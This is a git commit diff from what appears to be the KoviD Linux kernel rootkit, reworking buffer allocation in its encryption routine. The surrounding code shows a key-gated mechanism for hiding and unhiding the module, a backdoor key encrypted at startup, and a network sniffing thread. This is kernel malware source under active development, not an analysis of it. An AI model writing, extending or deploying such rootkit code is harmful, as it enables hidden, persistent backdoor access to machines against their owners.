Allocate buffer in crypto impl

carloslack · Dec 1, 2024 · 045c2eb · 045c2eb
1 parent a9d7114
commit 045c2eb
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Showing 4 changed files with 17 additions and 18 deletions.
diff --git a/Makefile b/Makefile
@@ -65,7 +65,7 @@ clean:
 	@rm -f *.o src/*.o $(persist)
 	@git checkout a6333fdc9e9d647b7d64e9e9cb1e6c0237a8967f \
 		-- src/persist.S 2>/dev/null || true
-	@git checkout b5b1976947f16e4f8ac1e1778ef5984a7c47b824 \
+	@git checkout a9d711472292ad23c284f701fc8848f2947cc224 \
 		-- src/auto.h 2>/dev/null || true
 	@echo "Clean."
 

diff --git a/src/crypto.c b/src/crypto.c
@@ -80,6 +80,12 @@ size_t kv_encrypt(struct kv_crypto_st *kvmgc, u8 *buf, size_t buflen) {
         return 0;
     }
 
+    kvmgc->kv_data.buf = kmalloc(buflen, GFP_KERNEL);
+    if (!kvmgc->kv_data.buf) {
+        prerr("Memory error\n");
+        return 0;
+    }
+
     /** debug */
     print_hex_dump(KERN_DEBUG, "plain text: ", DUMP_PREFIX_NONE, 16, 1, buf, buflen, true);
 
@@ -92,20 +98,21 @@ size_t kv_encrypt(struct kv_crypto_st *kvmgc, u8 *buf, size_t buflen) {
     rc = crypto_skcipher_encrypt(kvmgc->req);
     if (rc < 0) {
         prerr("Encryption failed %d\n", rc);
+        kfree(kvmgc->kv_data.buf);
         return 0;
     }
 
     copied = sg_copy_to_buffer(&kvmgc->sg, 1, buf, buflen);
     if (copied != buflen) {
         prerr("encrypted count mismatch, expected %lu, copied %lu\n", buflen, copied);
+        kfree(kvmgc->kv_data.buf);
         return 0;
     }
 
     print_hex_dump(KERN_DEBUG, "encrypted text: ", DUMP_PREFIX_NONE, 16, 1, buf, buflen, true);
 
     memcpy(kvmgc->iv, iv_orig, sizeof(kvmgc->iv));
-
-    kvmgc->kv_data.buf = buf;
+    memcpy(kvmgc->kv_data.buf, buf, buflen);
     kvmgc->kv_data.buflen = buflen;
 
     return copied;

diff --git a/src/kovid.c b/src/kovid.c
@@ -507,7 +507,7 @@ static ssize_t write_cb(struct file *fptr, const char __user *user,
                 {
                     uint64_t val;
                     if ((sscanf(args[0].from, "%llx", &val) == 1) &&
-                            UNHIDEKEY == val) {
+                            auto_unhidekey == val) {
                         kv_unhide_mod();
                     }
                 }
@@ -830,20 +830,15 @@ static int __init kv_init(void) {
     kvmgc0 =crypto_init();
     if (kvmgc0) {
         size_t datalen = 64;
-        u8 *buf = kmalloc(datalen, GFP_KERNEL);
-        if (!buf)
-            return -ENOMEM;
-
+        u8 buf[datalen];
         memset(buf, 'A', datalen);
         kv_encrypt(kvmgc0, buf, datalen);
     }
 
     kvmgc1 =crypto_init();
     if (kvmgc1) {
         size_t datalen = 64;
-        u8 *buf = kmalloc(datalen, GFP_KERNEL);
-        if (!buf)
-            return -ENOMEM;
+        u8 buf[datalen];
 
         /** go random this time */
         get_random_bytes(buf, datalen);

diff --git a/src/sock.c b/src/sock.c
@@ -596,14 +596,11 @@ struct task_struct *kv_sock_start_sniff(void) {
      */
     kvmgc_bdkey = crypto_init();
     if (kvmgc_bdkey) {
-        /** Allocate more than needed (8)
-         * as its the minimum for AES-256
-         * */
+        /** for the aes-256, 16 bytes
+         * is minimum data size
+         */
         size_t datalen = 16;
-        u8 *buf = kmalloc(datalen, GFP_KERNEL);
-        if (!buf)
-            return NULL;
-
+        u8 buf[16] = {0};
         memcpy(buf, &auto_bdkey, 8);
         kv_encrypt(kvmgc_bdkey, buf, datalen);